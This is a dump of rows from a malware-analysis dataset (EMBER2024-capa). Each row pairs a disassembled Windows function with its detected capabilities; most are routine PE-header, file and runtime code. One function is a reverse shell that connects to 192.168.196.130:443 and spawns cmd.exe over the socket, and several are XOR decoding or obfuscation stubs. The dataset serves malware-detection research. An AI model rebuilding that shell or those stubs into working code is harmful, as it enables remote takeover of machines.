joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d7080
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor edx, edx
lea rcx, [0x1400da7a0]
movabs rdi, 0x2e78786362696c67
movabs r12, 0x6c6f6f705f68652e
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x1400da7b8], 0
movups xmmword [0x1400da7a8], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x1400d7135
jmp 0x1400d71df
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x1400d7190
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rdi
jne 0x1400d7120
cmp qword [rbx + 7], r12
jne 0x1400d7120
cmp byte [rbx + 0xf], 0x2e
jne 0x1400d7120
add rbx, 0x10
lea rbp, [rsp + 0x30]
lea r13, [rsp + 0x60]
mov rsi, qword [rbp]
mov rcx, qword [rbp + 8]
test rsi, rsi
je 0x1400d717b
mov r8, rsi
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x1400d7185
cmp byte [rbx + rsi], 0x3d
je 0x1400d7215
add rbp, 0x18
cmp rbp, r13
jne 0x1400d715f
jmp 0x1400d7120
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x1400da7b8], rbx
jne 0x1400d71ef
lea rcx, [sym.__tcf_0]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.atexit
mov qword [0x1400da7b8], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x1400da7b0], rax
test rax, rax
je 0x1400d724c
xor edx, edx
mov qword [0x1400da7a8], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1400d71c7
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rsi + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x1400d723c
test dl, dl
jne 0x1400d7120
test eax, eax
js 0x1400d7120
mov dword [rbp + 0x10], eax
jmp 0x1400d7120
xor ecx, ecx
mov qword [0x1400da7b8], rcx
jmp 0x1400d71c7

Function at 0x1400d73b0
Capabilities:
Write file on windows

Disassembly:
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x1400d742c
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sym.fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
call sym.abort
mov rcx, rdi
call sym.free
call sym.__cxa_rethrow
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x1400d741a
Function at 0x140001250
Capabilities:
Create thread
Resume thread

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rsp + 0x28], 0
lea r8, [0x140001150]
xor r9d, r9d
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1400012b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140001b90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bda
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bdc
xor al, al
add rsp, 0x28
ret
Function at 0x140006a40
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp qword [rcx], rdx
je 0x140006ab4
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, rsi
call fcn.140006ad0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x140006aad
mov qword [rsi], rdi
call fcn.140006670
mov rbx, rax
mov r15, qword [rsp + 0x58]
call sym.plugin_container.exe_GetHandleVerifier
mov rbp, qword [rax]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [rbp + 8]
mov ecx, r14d
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
and al, 0x78
cmc
pop rdi
invalid
fcmovnb st(0), st(7)
and eax, 0xacd4bf49
cmp dword [rcx + rdx*2 - 0x2d94fb24], 0xbcfd12cc
std
invalid
jnp 0x140078cb9
std
mov esp, 0xbe96ff7b
mov bl, 0x14
push rcx
call qword [rsi + 0x5114b3be]
xchg esi, eax
mov esi, 0xca5114b3
inc dword [rcx]
sub eax, 0x41f1017c
or ecx, esi
mov cl, byte [rsi + 0x38355c33]
push rdi
cmc
sub al, ah
invalid
cmp al, 0x88
mul dword [rbx]
sbb byte [rdx], bl
ja 0x140078c7e
retf 0x1ff
invalid
jmp 0x140078d54
or al, 0xc8
cmp dword [rbx], edx
sbb cl, bl
mov byte [rdx], bl
push 0xffffffffffffffe1
and dword [rsi], 0xffffffe4
invalid

Function at 0x140006b40
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x140
mov rax, qword [0x14003f010]
xor rax, rsp
mov qword [rsp + 0x138], rax
test rdx, rdx
je 0x140006bd0
mov rsi, rdx
mov rdi, rcx
mov r13d, 0xffffffff
lea r14, str.z:_task_1579288126_build_src_security_sandbox_chromium_base_rand_util_win.cc
lea r15, str.success
lea r12, [rsp + 0x28]
jmp 0x140006b98
add rdi, rbx
sub rsi, rbx
je 0x140006bd0
cmp rsi, r13
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x140006b90
mov rcx, r12
mov rdx, r14
mov r8d, 0x20
mov r9, r15
call fcn.1400016f0
mov rcx, r12
call fcn.1400017f0
jmp 0x140006b90
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.1400365a0
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140206674
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140206448
xor ecx, ecx
call qword [0x14022a710]
test rax, rax
je 0x140206448
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140206448
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140206448
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140206448
cmp dword [rcx + 0x84], 0xe
jbe 0x140206448
cmp dword [rcx + 0xf8], esi
je 0x140206448
mov ecx, r14d
call fcn.140206590
mov ecx, 2
call fcn.140208bdc
nop
cmp byte [0x140398148], 0
jne 0x140206512
mov r15d, 1
mov eax, r15d
xchg dword [0x140398138], eax
test ebx, ebx
jne 0x1402064bb
mov rdi, qword [0x1402e5640]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140398140]
cmp rcx, rax
je 0x1402064b2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [0x14022b348]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140398278]
jmp 0x1402064c7
cmp ebx, r15d
jne 0x1402064cd
lea rcx, [0x140398290]
call fcn.140207190
nop
test ebx, ebx
jne 0x1402064e4
lea rdx, [0x14022b940]
lea rcx, [0x14022b920]
call fcn.14020746c
lea rdx, [0x14022b950]
lea rcx, [0x14022b948]
call fcn.14020746c
movzx eax, byte [0x140398148]
test esi, esi
cmove eax, r15d
mov byte [0x140398148], al
jmp 0x140206512
mov ecx, 2
call fcn.140208c30
test esi, esi
jne 0x140206529
mov ecx, r14d
call fcn.140206544
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1402063d8
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
mov edi, 2
mov dword [rsp + 0x28], esi
mov ecx, edi
xor r9d, r9d
mov dword [rsp + 0x20], esi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x1bb
mov word [rsp + 0xc0], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0xc4]
mov ecx, edi
lea rdx, str.192.168.196.130
mov word [rsp + 0xc2], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov qword [rsp + 0x30], rsi
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov r8d, 0x10
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_WSAConnect]
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbx
movups xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0x48], rax
lea rdx, str.cmd.exe
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], esi
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x8c], pe_nt_image_headers64
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001190
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140001a58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aa2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aa2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aa2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aa2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aa2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa4
xor al, al
add rsp, 0x28
ret
Function at 0x140f76c2c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f76c36
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f76c5f
pop rbp
sub rbp, 0x33
sub rbp, 0xf76c2c
sub rsp, 0x20
jmp 0x140f76c7e
mov rax, 0xf76c2c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffff3a3a4d
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f76c9d
jmp 0x140f76cb4
add eax, 0xc4c6a4c4
jno 0x140f76d08
add rax, 0x4c458ccc
add rax, 0xffffffff8a05a44c
lea eax, [rbp + 0x4d]
add rax, 0x4d658f8a
add rax, 0x4c05afba
mov esi, es
int3
movsb byte [rdi], byte [rsi]
pop rbx
mov word [r13 + 0x55c7c4f], fs
int3
Function at 0x1400020b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x1400021ab
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x1400021b3
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400021ea
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x1400021c0
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x140002215
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x14000223b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x140002220
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a3f0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002c008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a435
xor al, al
jmp 0x14000a482
cmp word [rbx], 0
je 0x14000a44d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a440
cmp word [rsp + 0x30], 0
je 0x14000a47b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a4a3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a460
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b530
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f5c8
int3
Function at 0x14000a990
Capabilities:
Read file on windows

Disassembly:
test rdx, rdx
je 0x14000ab1c
push rbp
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x60], r14
xor sil, sil
xor r14d, r14d
mov qword [rsp + 0x50], rbx
mov rdi, rdx
mov rbp, rcx
nop word [rax + rax]
mov rax, qword [0x1400345c8]
mov rcx, qword [0x1400345d0]
sub rax, rcx
je 0x14000aa04
mov rdx, qword [0x1400345c0]
cmp rdi, rax
mov rbx, rdi
cmovae rbx, rax
add rdx, rcx
mov r8, rbx
mov rcx, rbp
call fcn.14000d3c0
add rbp, rbx
sub rdi, rbx
add qword [0x1400345d0], rbx
jmp 0x14000ab02
mov rax, qword [0x1400325b0]
mov rcx, qword [0x1400325a8]
cmp rax, rcx
jb 0x14000aab0
test sil, sil
jne 0x14000aab0
cmp rcx, rax
jne 0x14000ab1d
mov rcx, qword [0x1400325b8]
mov r9d, 1
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [0x1400345d8]
mov eax, eax
sub rcx, rax
je 0x14000ab02
mov rdx, qword [0x1400325a0]
lea r9, [rsp + 0x58]
mov ebx, 0x20003
mov qword [rsp + 0x20], r14
cmp rcx, rbx
cmovb rbx, rcx
mov rcx, qword [0x1400325b8]
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000ab23
mov eax, dword [rsp + 0x58]
cmp rax, rbx
jne 0x14000ab23
add qword [0x140032580], rbx
mov qword [0x1400325b0], r14
mov qword [0x1400325a8], rbx
jmp 0x14000ab02
mov rcx, qword [0x140032598]
lea r8, [0x1400325a0]
lea rdx, [0x1400345c0]
mov qword [0x1400345d0], r14
mov qword [0x1400345c8], 0x20000
call fcn.140006fc0
mov rcx, qword [0x1400345d0]
cmp rcx, qword [0x1400345c8]
sete sil
cmp rax, 0xffffffffffffff88
ja 0x14000ab1d
mov qword [0x1400345c8], rcx
mov qword [0x1400345d0], r14
test rdi, rdi
jne 0x14000a9c0
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x60]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
call fcn.14000a890
int3
call fcn.14000a8d0
int3
Function at 0x14000ab30
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x140032590]
test rcx, rcx
je 0x14000ab6b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000ab5e
mov rcx, qword [0x140032590]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x140032590]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400345e0], 0
je 0x14000ac5e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140028ab0]
mov qword [rsp + 0x80], rsi
lea rsi, [0x1400325c0]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000ac3f
test al, 0x10
je 0x14000ac3f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000abe5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000be04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000be4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000be4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000be4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000be4e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000be4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000be50
xor al, al
add rsp, 0x28
ret

Function at 0x14000f5bc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000f44f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f44f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f44f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f44f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f44f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f44f
cmp dword [rcx + 0xf8], 0
je 0x14000f44f
mov ecx, ebx
call fcn.14000f4f0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000f2e0
cmp dword [rbp + 0x20], 0
je 0x14000f49c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f4a4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f3e8
Function at 0x14001eaf0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001eb18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001eb18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14003173c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x1400317b4
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x1400317b4
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x1400317b4
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x1400317a8
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x1400317c6
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140031796
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x1400317b6

Function at 0x140033300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003334a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003334a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003334a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003334a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003334a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003334c
xor al, al
add rsp, 0x28
ret

Function at 0x14003c094
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003bdf8

Function at 0x140045fb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140045fd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140045fd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140166b6b
Capabilities:
Encode data using xor

Disassembly:
test rdx, rdx
lea rsp, [rsp + 8]
je 0x1401523ba
mov r11d, 0x643ad4be
push r10
mov r10d, 0x530a69a2
lea r11, [0x1401505e8]
mov r10d, 0xb58b0096
movzx r10d, byte [rax]
xor r10d, edi
push 0xffffffffb82c05ad
neg qword [rsp]
and r10d, 0xff
ror word [rsp + 1], 0x26
mov r10d, dword [r11 + r10*4]
shr edi, 8
xor edi, r10d
push 0x30939e05
inc rax
xor edi, 0x6da5ad1b
xor dword [rsp + 0xb], 0xb53d2b94
dec rdx
lea rsp, [rsp + 0x10]
jne 0x140154688
mov r10d, 0xa48cdc9d
call fcn.1401523ac
lea rdx, [0x1401571b0]
lea rsp, [rsp + 8]
movzx r10d, byte [r9]
xor r10d, eax
push 0x4d299185
dec word [rsp]
and r10d, 0xff
dec byte [rsp + 3]
not qword [rsp]
mov r10d, dword [rdx + r10*4]
shr eax, 8
xor eax, r10d
inc r9
xor eax, 0xe1056ca6
inc dword [rsp + 3]
jg 0x140154665
call fcn.14013f747
Function at 0x140020bc0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r13
push r15
mov eax, 0x1070
call fcn.14002d160
sub rsp, rax
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov rdx, qword [rsp + 0x10b0]
xor ebp, ebp
mov qword [rsp + 0x38], r9
mov r15, r8
mov qword [rsp + 0x30], rdx
mov r13, rcx
test r8, r8
jne 0x140020c0c
mov rdx, rbp
jmp 0x140020d21
mov r9d, 0x1000
lea rdx, [rsp + 0x40]
call fcn.14001f780
test al, al
je 0x140020c04
mov qword [rsp + 0x1068], rsi
lea rdx, str.PAGE
mov qword [rsp + 0x1060], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1058], r12
mov qword [rsp + 0x1050], r14
nop
inc rdi
cmp byte [rdx + rdi], bpl
jne 0x140020c50
movsxd rax, dword [rsp + 0x7c]
lea rcx, [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x1098], rbx
mov esi, ebp
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
movzx r14d, word [rcx + 6]
add r12, rax
cmp bp, r14w
jae 0x140020cf6
nop word [rax + rax]
mov eax, esi
mov r8, rdi
lea rcx, [rax + rax*4]
lea rbx, [r12 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140020cbe
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], bpl
jne 0x140020cb0
cmp rdi, rax
je 0x140020cce
inc esi
cmp esi, r14d
jae 0x140020cf6
